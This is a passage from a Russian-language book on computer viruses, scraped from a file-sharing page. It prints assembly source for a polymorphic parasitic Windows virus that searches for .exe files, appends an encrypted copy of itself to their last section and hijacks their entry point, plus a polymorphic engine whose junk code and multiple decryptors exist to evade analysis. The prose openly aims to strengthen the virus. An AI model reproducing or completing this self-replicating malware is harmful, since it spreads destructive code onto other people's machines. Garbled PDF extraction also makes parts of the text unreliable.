Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

251

 

 

add eax,12345678h

;

random_seed = dword ptr $-4

;

adc eax,esp

;

xor eax,ecx

;

xor random_seed,eax

;

add eax,[esp-8]

;

rcl eax,1

;

 

; Получаем случайное число

pop ecx edx

 

ret

 

;----------------------------------------------

 

После того, как мы написали полноценный полиморфный генератор для Windows-вирусов, мы должны применить его к нашему Windows-паразиту. Данная акция безмерно усилит потенциал вируса.

Этот полиморфный генератор не оптимален и существует множество возможностей по его улучшению.

При написании этого генератора мы оставили одну вещь внешней, буфер в котором будет храниться декриптор + шифрованный код.

Теперь рассмотрим схему работы простейшего полиморфного вируса типа parasitic. Следует рассмотреть, как выглядит файл до инфицирования и после:

а) до инфицирования

б) после инфицирования

Рассмотрим листинг полиморфного Windows-паразита:

;----------------------------------------------

.386

.model flat

; Функция необходимая для запуска вируса после компоновки

extrn

ExitProcess:PROC

.data

; Вирус расположен в области

 

; данных

252

Windows вирусы

 

 

start:

 

;----------------------------------------------

 

mov

ebx,[esp]

xor

bx,bx

call

delta

delta:

 

pop

ebp

sub

ebp,offset delta

mov

eax,dword ptr [ebp + offset oldip]

add

eax,dword ptr [ebp + offset imagebase]

push

eax

pushad

call

getproc

lea

eax,dword ptr[ebp+find_file]

push

eax

lea

eax,dword ptr[ebp+mask1]

push

eax

lea

eax,dword ptr[ebp+FindFirstFileA]

call

GETAPI

cmp

EAX, -1

je

End_it

mov

[ebp+Fhandle],eax

inf1:

 

mov

ecx,dword ptr [ebp + find_file + 20h]

mov

[ebp + offset filesize], ecx

add

ecx, finish - start + 1000h

mov

[ebp + offset memory], ecx

call

infect

f_next:

 

call

Fnext

cmp

eax,0

jne

inf1

;Возьмем из стека адрес

;Kernel’a И найдем его начало

;

;Получаем дельта смещение

;Восстанавливаем старую точку

;и виртуальный адрес начала

;программы

;Положим eax в стэк

;Сохраняем все регистры

;

;Заполняем параметры

;и вызываем функцию

;FindFirstFileA

;

;

;Если файлов нет,

;то выходим

;Сохраняем хэндл поиска

;ecx = filesize

;Сохраняем размер файла

;filesize + virus

;+workspace=memory

;0 — Файлы закончились

push

dword ptr [ebp+Fhandle]

;

lea

eax,dword ptr[ebp+FindClose]

; Закрытие поиска

call

GETAPI

;

;----------------------------------------------

 

 

End_it:

 

 

popad

 

; Восстанавливаем все регистры

ret

 

; Отдаем управление носителю

;----------------------------------------------

 

 

infect:

 

 

lea

esi,[ebp + find_file + 2ch]

; esi = имени файла

OpenFile:

 

 

push

0

 

push

00000080h

 

Windows вирусы

253

 

 

push

3

push

0

push

00000001h OR 00000002h

push

40000000h OR 80000000h

push

esi

lea

eax,[ebp+CreateFileA]

call

GETAPI

mov

[ebp + offset fHnd],eax

cmp

eax,-1

je

InfectionError

;----------------------------------------------

CreateFileMapping:

push

0

push

dword ptr [ebp+ offset memory]

push

0

push

4

push

0

push

dword ptr [ebp + offset fHnd]

lea

eax,[ebp + offset CreateFileMappingA]

call

GETAPI

mov

[ebp + offset mHnd],eax

or

eax,eax

jz

CloseFile

MapViewOfFile1:

 

push

dword ptr [ebp + offset memory]

push

0

push

0

push

2

push

eax

lea

eax,[ebp + offset MapViewOfFile]

call

GETAPI

or

eax,eax

jz

CloseMap

mov

esi,eax

mov

[ebp + offset mapaddress],esi

DoSomeChecks:

 

cmp

word ptr [esi],’ZM’

jne

UnmapView

cmp

word ptr [esi + 38h],’nf’

je

UnmapView

OkGo:

 

mov

ebx,dword ptr [esi + 3ch]

cmp

ebx,200h

ja

UnmapView

add

ebx,esi

cmp

word ptr [ebx],’EP’

jne

UnmapView

;Открытие файла

;для чтения/записи

;Сохранение хэндла файла

;выделяем память

;имя файла хэндл = 0

;максимальный размер = memory

;минимальный размер = 0

;доступ чтение/запись

;

; eax = хэндл

;количество памяти для работы

;Режим записи

;хэндл

;Вызываем функцию

;

;Сохраняем базу памяти

;Ýòî EXE ôàéë?

;Уже зараженный файл?

; Ýòî PE ôàéë ?

254

 

Windows вирусы

 

 

 

mov

[ebp + offset PEheader],ebx

; сохраняем PE заголовок

mov

esi,ebx

 

mov

eax,[esi + 28h]

 

mov

[ebp + offset oldip],eax

; Сохраняем старую

 

 

; точку входа (ip)

mov

eax,[esi + 34h]

 

mov

[ebp + offset imagebase],eax

; Сохраняем виртуальный адрес

 

 

; начала программы

;----------------------------------------------

 

LocateBeginOfLastSection:

 

mov

ebx,[esi + 74h]

;

shl

ebx,3

;

xor

eax,eax

 

mov

ax,word ptr [esi + 6h]

; Количество объектов

dec

eax

; (нам нужен последний-1

mov

ecx,28h

; заголовок секции)

mul

ecx

; * размер заголовка

add

esi,78h

; теперь esi указывает на

add

esi,ebx

; начало последнего заголовка

add

esi,eax

; секции

ChangeLastSectionHeader:

 

or

dword ptr [esi + 24h],00000020h or 20000000h or 80000000h

NewPhysicalSize:

 

 

mov

eax,dword ptr [esi+10h]

; Старый физический размер

add

eax,finish-start

;

mov

dword ptr [esi+10h],eax

; Сохраняем его

VirtualSizeCheck:

 

 

mov

edi,dword ptr [esi + 8h]

; Получаем старый

cmp

eax, edi

; виртуальный размер

jge

NewVirtualSize

 

VirtualSizeIsVirtual:

 

add

edi,finish-start

 

mov

eax,edi

 

NewVirtualSize:

 

 

mov

ecx,[ebp + offset PEheader]

 

mov

ecx,[ecx + 38h]

 

div

ecx

; и выравниваем

inc

eax

 

mul

ecx

 

mov

[esi + 8h],eax

; Сохраняем новое значение

NewAlignedImageSize:

 

mov

eax,dword ptr [esi + 0ch]

; получаем виртуальное

 

 

; смещение

add

eax,dword ptr [esi + 8h]

; + новый виртуальный размер

mov

[ebp+ imagesize],eax

; = новый виртуальный размер

Windows вирусы

255

 

 

NewAlignedFileSize:

 

mov

eax,dword ptr [esi+10h]

; получаем новый

 

 

; физический размер

add

eax,dword ptr [esi + 14h]

; добавляем смещение

 

 

; физического

mov

[ebp + offset filesize],eax

; размера = размер файла

CalculateNewIp:

 

 

mov

eax,dword ptr [esi+10h]

; новый физический размер

add

eax,dword ptr [esi + 0ch]

; + виртуальное смещение

sub

eax,finish-start

; - размер вируса

mov

[ebp + newip],eax

; новая точка входа

;----------------------------------------------

 

lea eax,[ebp+start]

; !!!!!!!!

mov edx,[ebp+newip]

; !!!!!!!!

add edx,[ebp+offset imagebase]

; !!!!!!!!

mov ecx,finish-start

; !!!!!!!!

call polym

; !!!!!!!!

;----------------------------------------------

 

CopyVirusToEndOfFile:

 

mov

edi,dword ptr [esi+10h]

; Новый физический размер

sub

edi,finish-start

 

add

edi,[ebp + offset mapaddress]

; mapaddress

add

edi,[esi + 14h]

; добавляем смещение

 

 

; потоковых данных

mov

esi,edx

; копируем вирус

cld

 

 

rep

movsb

 

UpdatePEHeaderWithChanges:

 

mov

esi,dword ptr [ebp + offset mapaddress]

 

mov

word ptr [esi + 38h],’nf’

; Устанавливаем метку

mov

esi,dword ptr [ebp + offset PEheader]

; инфицированности

mov

eax,dword ptr [ebp + offset newip]

 

mov

[esi + 28h],eax

; Устанавливаем новую точку

mov

eax,[ebp + offset imagesize]

; входа

mov

[esi + 50h],eax

; Устанавливаем новый

 

 

; виртуальный размер

UnmapView:

push dword ptr [ebp + offset mapaddress] lea eax,[ebp + UnmapViewOfFile]

call GETAPI

CloseMap:

;

;Закончиваем изменение файла

;в памяти и кладем его

;обратно

push

dword ptr [ebp + offset mHnd]

;

lea

eax,[ebp + CloseHandle]

; Закрываем хэндл

call

GETAPI

;

push

0

 

push

0

 

push

dword ptr [ebp + offset filesize]

;

256

Windows вирусы

 

 

push

dword ptr [ebp + offset fHnd]

lea

eax,[ebp + offset SetFilePointer]

call

GETAPI

push

dword ptr [ebp + offset fHnd]

lea

eax,[ebp + offset SetEndOfFile]

call

GETAPI

;----------------------------------------------

 

CloseFile:

 

push

dword ptr [ebp + offset fHnd]

lea

eax,[ebp + offset CloseHandle]

call

GETAPI

InfectionError:

 

ret

 

;----------------------------------------------

 

Fnext:

 

lea

eax,[ebp+offset find_file]

push

eax

push

dword ptr[ebp+Fhandle]

lea

eax,[ebp+offset+FindNextFileA]

call

GETAPI

ret

 

;----------------------------------------------

 

Getproc:

 

next_block:

 

cmp

word ptr [ebx],’ZM’

je

found_MZ

sub

ebx,1000h

jmp

next_block

found_MZ:

 

mov

edx,ebx

mov

edi,dword ptr [ebx+3Ch]

add

edi,edx

cmp

word ptr [edi],’EP’

jne

Exit

mov

4 ptr [ebp+KernelAddr],edx

add

ebx,[edi+78h]

mov

ecx,[ebx+18h]

mov

esi,[ebx+20h]

mov

edi,[ebx+24h]

add

esi,edx

add

edi,edx

cld

 

; Переходим в конец файла

;

;

;Устанавливаем символ конца

;файла

;

;Закрываем файл

;Выходим из процедуры

;

;

;Процедура поиска следующего

;файла

;

;Начало?

;ÄÀ!

;Ищем дальше

;сохраним указатель

;адрес PE заголовка

;+адрес kernel’a

;проверка на PE

;не равно - выходим

;сохраним базовый адрес

;kernel’a

;Получим адрес таблицы

;экспортов

;Количество указателей

;Указатель на таблицу

;указателей имен

;Указатель на таблицу

;ординалов

;адр. таблицы имен в памяти

;адр. таблицы ординалов

;в памяти

;поиск вперед

Windows вирусы

257

 

 

 

Search:

 

; Ищем функцию GetProcAddress

lodsd

 

; берем указатель из

 

 

; таблицы указателей

add

eax,edx

; получаем адрес памяти

push

ecx

; сохраним кол-во указателей

push

edi

; сохраним указатель на

 

 

; ординалы

xchg

esi,eax

; в esi указатель на имя

 

 

; найденной ф-ции

lea

edi,[ebp+GetProcAddress]

; Указываем на имя нужной

 

 

; нам фунции

mov

ecx,GetProcSize

; Размер строки

repe

cmpsb

; сравниваем

xchg

esi,eax

; восстановим значение esi

pop

edi

; восстановим указатель

 

 

; на ординалы

pop

ecx

; восстановим кол-во

 

 

; указателей

je

Found

; нашли!

inc

edi

; нет - пробуем следующую

 

 

; ô-öèþ

inc

edi

; указатель на следующий

 

 

; ординал

loop

Search

 

jmp

Exit

 

Found:

 

 

xor

eax,eax

 

mov

ax,word ptr [edi]

; возьмем ординал

shl

eax,2

; умножим на размер ординала

mov

esi,[ebx+1Ch]

; указатель на таблицу адресов

add

esi,edx

; получим адрес начала

 

 

; таблицы адресов

add

esi,eax

; и адрес нужной ф-ции

lodsd

 

; прочитаем

add

eax,edx

; добавим адрес kernel’a

mov

4 ptr [ebp+GetProcAddr],eax

; сохраним

Exit:

 

 

ret

 

 

;----------------------------------------------

 

 

GETAPI:

 

 

push

eax

push

dword ptr [ebp+ offset KernelAddr]

call

[ebp + offset GetProcAddr]

jmp

eax

ret

 

;----------------------------------------------

 

 

include pgs2.asm

;----------------------------------------------

 

;Кладем в стэк имя функции

;Кладем в стэк адрес kernel’a

;Получаем адрес необходимой

;нам Функции

;Вызываем функцию

;Возврат из функции

;Подключение полиморфного

;генератора

258

 

 

 

Windows вирусы

 

 

 

 

 

mask1

 

db

‘*.exe’,0

; Маска для поиска

KernelAddr

 

dd

0

 

GetProcAddr

 

dd

0

 

GetProcAddress

 

db

‘GetProcAddress’,0

 

GetProcSize

 

equ

$-GetProcAddress

 

FindFirstFileA

 

db "FindFirstFileA",0

 

CreateFileA

 

db "CreateFileA",0

 

CreateFileMappingA db

"CreateFileMappingA",0

 

MapViewOfFile

 

db

"MapViewOfFile",0

 

UnmapViewOfFile

db

"UnmapViewOfFile",0

 

CloseHandle

 

db

"CloseHandle",0

 

SetFilePointer

 

db

"SetFilePointer",0

 

SetEndOfFile

 

db

"SetEndOfFile",0

 

FindNextFileA

 

db

"FindNextFileA",0

 

FindClose

 

db

"FindClose",0

 

oldip

 

dd

offset Exit1

; Для первого поколения вируса

 

 

 

 

; необходимо это смещение

imagebase

 

dd

0h

;

find_file

 

db

313 dup(?)

; Тут идут данные, которые в

size2read

 

dd

0h

; тело вируса не входят

fHnd

 

dd

0h

;

mHnd

 

dd

0h

;

memory

 

dd

0h

;

mapaddress

 

dd

0h

;

PEheader

 

dd

0h

 

filesize

 

dd

0h

 

imagesize

 

dd

0h

 

newip

 

dd

0h

 

Fhandle

 

dd

0h

 

finish:

 

 

 

 

buff

 

db

3000 dup (0)

; Наш buff (в нем будет

 

 

 

 

; храниться декриптор+шифр.код)

;----------------------------------------------

 

 

 

 

.code

 

 

 

 

Exit1:

 

 

 

 

push 0

 

 

 

; Сюда передается управление

call ExitProcess

 

; в первом поколении вируса

;----------------------------------------------

 

 

 

 

end

start

 

 

;----------------------------------------------

 

 

 

 

В листинге нашего вируса восклицательными знаками отмечен непосредственный вызов полиморфного генератора. ля усложнения анализа нашего дескриптора использовались различные «мусорные» команды, в том числе и вырожденный jmp.

А теперь мы рассмотрим максимально усложненный вариант данного полиморфного мотора. Это будет сделано с целью наглядного использования одних из последних техник в полиморфизме.

Windows вирусы

259

 

 

Условимся, что reg1, reg2 — это 32-битные регистры. Начнем построение «скелета» дескриптора:

;----------------------------------------------

 

 

 

call

$+5

 

pop

reg1

 

add

reg1,size_of_decryptor-4

 

mov

reg2,reg1

 

add

reg2,size_of_encrypted_code

decrypt:

add

reg1,4

xor/sub/add

[reg1],decrypt_key

 

cmp

reg1,reg2

 

jb

decrypt

;----------------------------------------------

 

 

Как вы легко можете пронаблюдать из кода, данный полиморфный мотор будет использовать 32-битное шифрование случайным алгоритмом (add/sub/xor).

После того, как мы определились с скелетом дескриптора. Мы должны решить, что еще нам будет необходимо при построении полиморфного генератора.

Нам понадобится: генератор случайных чисел; генератор «мусора».

Начнем с генератора случайных чисел. Наш генератор будет ориентирован на процессоры не ниже Pentium, так как будет использоваться инструкция rdtsc. Данная инструкция возвращает значение счетчика тиков таймера. Для удобства его использования выделим генератор случайных чисел в отдельный модуль.

Что должен уметь генератор «мусора»? Он должен генерировать исполняемый код, оставляя не изменными значащие регистры (используемые в декрипторе). Исполняемый код должен быть как можно более разнообразным. В идеале получившийся декриптор с «мусором» должен походить на обыкновенную программу с условными переходами и множеством функций.

Как мы можем пронаблюдать, данный генератор «мусора» производит до- вольно-таки разнообразный исполнимый код. Недоработаны переходы условные и безусловные, а также подпрограммы. Но это не суть важно.

Важно сейчас то, что мы уже можем построить полиморфный генератор по выбранному нами «скелету». Генератор случайных чисел будет использоваться для выбора регистров, генерации длин «мусора» и самих «мусорных» инструкций.

Рассмотрим полиморфный генератор на примере:

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

;

 

[POLYMORPHIC GENERATOR OF SHIT V. 0.4]

;

;

 

 

 

 

 

;

;

#########

########

########

;

;

###########

##########

##########

;

;

##### ######

######

##

###### ##

;

;

#####

#####

#####

 

#####

;

;

#####

#####

#####

 

########

;

;

###########

##### ######

########

;

;

#########

##### ######

#####

;

;

#####

 

#####

###

#####

;

;

#####

 

###########

###########

;

260

 

 

 

Windows вирусы

 

 

 

 

;

#####

##### ### #########

;

;

 

 

 

;

;

 

FOR MS WINDOWS

;

;

 

 

 

;

;

 

BY SL0N

;

;——————————————————————————————————————------------------------------—;

;

 

MANUAL:

;

; BUFFER FOR ENCRYPTED CODE + DECRYPTORS

-> EDI

;

; START OF CODE

 

-> EAX

 

;

; SIZE OF CODE

 

-> ECX

 

;

;

 

 

 

;

; CALL MORPH

 

 

 

;

;

 

 

 

;

; SIZE OF ENCRYPTED CODE + DECRYPTORS

-> ECX

;

; BUFFER WITH ENCRYPTED CODE + DECRYPTORS -> EDI

;

;——————————————————————————————————————------------------------------—;

; (+) DO NOT USE WIN API

 

 

;

; (+) EASY TO USE

 

 

 

;

; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES)

;

; (+) USE DELTA OFFSET

 

 

;

; (+) USE X87 INSTRUCTIONS

 

 

;

; (+) IT CREATES VARIABLE DECRYPTOR SIZE

 

;

; (+) RANDOMLY CHANGE REGISTERS IN INSTRUCTIONS

;

; (+) RANDOM 32 BIT ENCRYPTION ALGORITHM (ADD/SUB/XOR)

;

; (+) RANDOM NUMBER OF DECRYPTORS

 

 

;

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;

morph:

 

 

 

 

push

esi ebp

 

; Сохраняем регистры

 

call

delta0

 

;

 

delta0:

 

 

; Вычисляем

 

pop

ebp

 

; дельта смещение

 

sub

ebp,offset delta0

 

;

 

push

eax

 

; Кладем в стэк eax

 

decr_number:

 

 

 

 

mov

eax,40

 

; Генерируем случайное число

call

brandom32

 

; в диапазоне 0..30

 

test

eax,eax

 

; Если число равно 0, то оно

jz

decr_number

 

; нам не подходит

 

mov

ebx,eax

 

; Помещаем число в ebx

 

pop

eax

 

; Восстанавливаем eax

 

multi_decr:

 

 

 

 

mov

edx,edi

 

 

 

call

polym

 

;

 

mov

eax,edx

 

;

 

add

edi,ecx

 

; Генерируем столько

 

dec

ebx

 

; декрипторов, сколько

 

test

ebx,ebx

 

; записано в регистре ebx

 

jnz

multi_decr

 

;

 

sub

edi,ecx

 

; результатами

 

pop

ebp esi

 

; Восстанавливаем регистры

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]